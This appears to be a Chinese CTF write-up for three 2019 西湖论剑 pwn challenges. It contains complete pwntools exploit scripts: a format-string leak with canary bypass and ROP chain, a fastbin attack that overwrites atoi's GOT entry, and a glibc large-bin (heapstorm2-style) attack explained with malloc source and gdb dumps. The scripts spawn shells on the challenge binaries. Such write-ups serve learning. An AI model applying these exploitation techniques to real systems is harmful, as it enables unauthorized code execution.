2019西湖论剑writeup

0ctf2018heapstorm2

Posted by Chris on April 9, 2019

pwn1-story

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#/usr/bin/env python
# -*- coding: UTF-8 -*-
##简单栈溢出,fsb
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

def g():
    gdb.attach(p)
    raw_input()


if __name__ == '__main__':
    elf=ELF("./libc-2.23.so")
    p=process("./story")
	#p=remote("ctf3.linkedbyx.com",11326)
    p.recvuntil("Please Tell Your ID:")
    p.sendline("%11$p%15$p")
    p.recvuntil("Hello ")


    data=p.recvline()
    libc=int(data[0:14],16)-0x78439
    print "libc :"+hex(libc)
    system=libc+elf.symbols["system"]
    print "system :"+hex(system)
    binsh = libc+next(elf.search('/bin/sh'))
    canary = int(data[14:32],16)
    print "canary :"+hex(canary)

    p.recvuntil("Tell me the size of your story:\n")
    p.sendline(str(129))

    p.recvuntil("You can speak your story:\n")  

    poprdi_ret=0x0000000000400bd3
    rop=p64(poprdi_ret)+p64(binsh)+p64(system)
    p.sendline("a"*0x88+p64(canary)+p64(0)+rop)

    p.interactive()  



pwn2-noinfoleak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#/usr/bin/env python
# -*- coding: UTF-8 -*-
#程序没开PIE,利用fastbin_attack,
#在存放申请堆内存指针的bss段伪造chunk,并分配到该chunk
#控制下方的堆chunk指针,覆盖为atoi got表地址(经研究发现atoi与system偏移相近)
#编辑atoi got表中的内容,写低2byte,有很大的几率getshell

from pwn import *

def g():
    gdb.attach(p)
    raw_input()

def malloc(size,data):
    p.recvuntil(">")
    p.sendline(str(1))
    p.recvuntil(">")
    p.sendline(str(size))
    p.recvuntil(">")
    p.sendline(data)   

def free(index):
    p.recvuntil(">")
    p.sendline(str(2))
    p.recvuntil(">")
    p.sendline(str(index))

def edit(index,data):
    p.recvuntil(">")
    p.sendline(str(3))
    p.recvuntil(">")
    p.sendline(str(index))
    p.recvuntil(">")
    p.send(data)  



if __name__ == '__main__':
	elf=ELF("./noinfoleak")
	p=process("./noinfoleak")
	atoi_got=elf.got["atoi"]
	#p=remote('ctf1.linkedbyx.com',10426)

	malloc(0x60,"1111")
	malloc(0x60,"2222")
	malloc(0x7f,"3333")
	malloc(0x60,"4444")
	malloc(0x60,"5555")
	free(0)	
        	
	edit(0,p64(0x6010c0))
	malloc(0x60,"1111")
	malloc(0x60,p64(atoi_got))        
	edit(3,"\x90\xf3")
	 #g()
	p.recvuntil(">")
	p.sendline('/bin/sh')
	p.interactive()

 

pwn3-Storm_note

这道题根据0ctf2018的heapstorm2改编

我的exp根据eternalsakura大佬的改了点偏移 原文地址http://eternalsakura13.com/2018/04/03/heapstorm2/

此程序的利用关键是利用off-by-one实现堆块复用overlap chunk,控制unsorted bin中的chunk内容;再利用unsorted bin中的chunk摘链到large bin的同时往attack_addr写数据(size大小),同一过程在分配时就绕过了对unsortbin中chunk的size大小的检查

_int_malloc源码分析

前面省略,当程序执行到此时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsortedbin
all [corrupted]
FD: 0x563493717060 < 0x0
BK: 0x563493717060 > 0xabcd00e0 < 0x0


largebins
0x4c0 [corrupted]
FD: 0x5634937175c0 < 0x0
BK: 0x5634937175c0 > 0xabcd00e8 < 0x63fdd317dc6dfd07

gdb-peda$ x/10xg 0x563493717050 
0x563493717050:	0x0000000000000000	0x0000000000000000
0x563493717060:	0x0000000000000000	0x00000000000004f1---> #7
0x563493717070:	0x0000000000000000	0x00000000abcd00e0
0x563493717080:	0x0000000000000000	0x0000000000000000
0x563493717090:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/10xg 0x5634937175a0
0x5634937175a0:	0x0000000000000000	0x0000000000000000
0x5634937175b0:	0x0000000000000000	0x0000000000000000
0x5634937175c0:	0x0000000000000000	0x00000000000004e1---> #8
0x5634937175d0:	0x0000000000000000	0x00000000abcd00e8
0x5634937175e0:	0x0000000000000000	0x00000000abcd00c3


当我们再次add(0x48),(0x555555757060 #7)chunk会被链入large_bin,这个过程要维护两个双向链表,多了一个chunk size链表

简化源码

1
2
3
4
5
6
7
8
9
10
11
12
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
bck = fwd->bk;
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

victim为(0x563493717060 #7),fwd只可能是我们放入large bin的唯一一个chunk(0x5634937175c0 #8),而它的bk_nextsize和bk都是我们可以控制的

0xabcd00e0处为fake_chunk

1
2
3
4
5
6
7
8
9
------------------PS1------------------

bck = fwd->bk;
bck->fd = victim;   即 fwd->bk->fd = victim

所以 0x00000000abcd00e8->fd = *(0x00000000abcd00f8) = fake_chunk->bk = 0x563493717060  

//防止后面第二次摘链时 unsorted_bin中 对fake_chunk unlink失败

1
2
3
4
5
6
7
8
9
------------------PS2------------------

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;   即 fwd->bk_nextsize->fd_nextsize = victim

所以 0x00000000abcd00c3->fd_nextsize = *(0x00000000abcd00e3)=0x563493717060

// 这样一错位 0xabcd00e8 处的值为0x56

fake_chunk ->size =0x56

这样在后期第二次将 unsorted_bin 中 0xabcd00e0 fake_chunk 摘链时,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {   // victim=fake_chunk
    bck = victim->bk;             // 由上面PS1知 bck=0x563493717060 #7 为有效地址
    if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
        __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))  //size检测过了
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);
    size = chunksize(victim);

    /*
       If a small request, try to use last remainder if it is the
       only chunk in unsorted bin.  This helps promote locality for
       runs of consecutive small requests. This is the only
       exception to best-fit, and applies only when there is
       no exact fit for a small chunk.
     */
    /* 显然,bck被修改,并不符合这里的要求*/
    if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
        ....
    }

    /* remove from unsorted list */
    unsorted_chunks(av)->bk = bck;  
    bck->fd = unsorted_chunks(av);   // bck->fd =*( 0x563493717060+0x10)=unsorted_chunks(av)
    
	if (size == nb) {     // 请求大小相等,直接返回
		set_inuse_bit_at_offset(victim, size);
		if (av != &main_arena)
		victim->size |= NON_MAIN_ARENA;
		check_malloced_chunk(av, victim, nb);
		void *p =  chunk2mem(victim);
		if ( __builtin_expect (perturb_byte, 0))
		alloc_perturb (p, bytes);
		return p;
	}

请求大小相等,直接返回

执行后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsortedbin
all [corrupted]
FD: 0x563493717060 —▸ 0x7f86080fab78 (main_arena+88) ◂— 0x563493717060
BK: 0x563493717060 —▸ 0xabcd00e8 ◂— 0xcf2b44d62d091c3e

largebins
0x4c0 [corrupted]
FD: 0x5634937175c0 ◂— 0x0
BK: 0x5634937175c0 —▸ 0x563493717060 —▸ 0xabcd00e8 ◂— 0xcf2b44d62d091c3e

gdb-peda$ x/20xg 0x563493717060
0x563493717060:	0x0000000000000000	0x00000000000004f1
0x563493717070:	0x00007f86080fab78	0x00000000abcd00e8
0x563493717080:	0x00005634937175c0	0x00000000abcd00c3
0x563493717090:	0x0000000000000000	0x0000000000000000
0x5634937170a0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/20xg 0x5634937175c0
0x5634937175c0:	0x0000000000000000	0x00000000000004e1
0x5634937175d0:	0x0000000000000000	0x0000563493717060
0x5634937175e0:	0x0000000000000000	0x0000563493717060
0x5634937175f0:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/20xg 0xabcd0100-0x20
0xabcd00e0:	0x3493717060000000	0x0000000000000056
0xabcd00f0:	0x00007f86080fab78	0x0000563493717060
0xabcd0100:	0xcf2b44d62d091c3e	0x0473463d0ecccd14
0xabcd0110:	0x81fad1924074c491	0xf855a421fde25929
0xabcd0120:	0x56936014c1a40a15	0x68b810230b77bc94
0xabcd0130:	0x0000000000000000	0x0000000000000001
0xabcd0140:	0x0000000000000000	0x0000000000000000



由int_malloc外层函数源码分析

1
2
3
4
assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
         av == arena_for_chunk (mem2chunk (mem)));

由于申请到的chunk不属于主分配区,由mmap分配,所以av == arena_for_chunk (mem2chunk (mem))表达式不成立,

只能chunk_is_mmapped (mem2chunk (mem))为真IS_MAPPED 即chunk_size的低2bit位为1 代表由 mmap 分配的。 开启aslr堆内存开始字节随机,有几率成功。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

def add(size):
  p.recvuntil('Choice')
  p.sendline('1')
  p.recvuntil('?')
  p.sendline(str(size))
  
def edit(idx,data):
  p.recvuntil('Choice')
  p.sendline('2')
  p.recvuntil('?')
  p.sendline(str(idx))
  p.recvuntil('Content')
  p.send(data)

def dele(idx):
  p.recvuntil('Choice')
  p.sendline('3')
  p.recvuntil('?')
  p.sendline(str(idx))

def exploit():

    global p

    while True:
		#p=process('./Storm_note')
		p=remote('ctf1.linkedbyx.com',10444)
		add(0x18)     #0
		add(0x508)    #1
		add(0x18)     #2
		edit(1, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		
		add(0x18)     #3
		add(0x508)    #4
		add(0x18)     #5
		edit(4, 'h'*0x4f0 + p64(0x500))   #set fake prev_size
		add(0x18)     #6
		
		dele(1)
		edit(0, 'h'*(0x18))    #off-by-one
		add(0x18)     #1
		add(0x4d8)    #7
		dele(1)
		dele(2)         #backward consolidate
		add(0x38)     #1
		add(0x4e8)    #2
		
		dele(4)
		edit(3, 'h'*(0x18))    #off-by-one
		add(0x18)     #4
		add(0x4d8)    #8
		dele(4)
		dele(5)       #backward consolidate
		add(0x48)     #4
		
		dele(2)
		add(0x4e8)    #2
		dele(2)
		storage = 0xabcd0100
		fake_chunk = storage - 0x20
		
		p1 = p64(0)*2 + p64(0) + p64(0x4f1) #size
		p1 += p64(0) + p64(fake_chunk)      #bk
		edit(7, p1)
		
		p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
		p2 += p64(0) + p64(fake_chunk+8)    #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
		p2 += p64(0) + p64(fake_chunk-0x18-5)   #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
		edit(8, p2)
		try:
		   # if the heap address starts with "0x56", you win
		    add(0x48)     #2
		except EOFError:
		   # otherwise crash and try again
		    p.close()
		    continue
		
		edit(2,p64(0)*8)
		
		p.sendline('666')
		p.send('\x00'*0x30)
		
		break


if __name__ == '__main__':

    exploit()
    p.interactive()

题目地址